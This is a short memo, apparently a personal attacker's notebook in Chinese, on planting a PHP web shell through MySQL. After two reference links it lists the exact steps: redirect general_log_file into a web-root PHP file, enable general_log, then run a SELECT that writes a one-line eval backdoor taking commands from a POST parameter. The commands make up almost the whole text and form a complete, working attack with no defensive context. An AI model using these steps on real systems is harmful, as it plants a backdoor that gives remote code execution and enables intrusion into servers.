mysql webshell

https://blog.csdn.net/qq_51478862/article/details/124580957

https://www.freebuf.com/articles/web/246167.html

利用log写入

SHOW VARIABLES LIKE '%general%'

set global general_log_file ='/home/wwwroot/default/safepage/2.php'

set global general_log = "ON";

执行

select "<?php @eval($_POST[KEY]); ?>";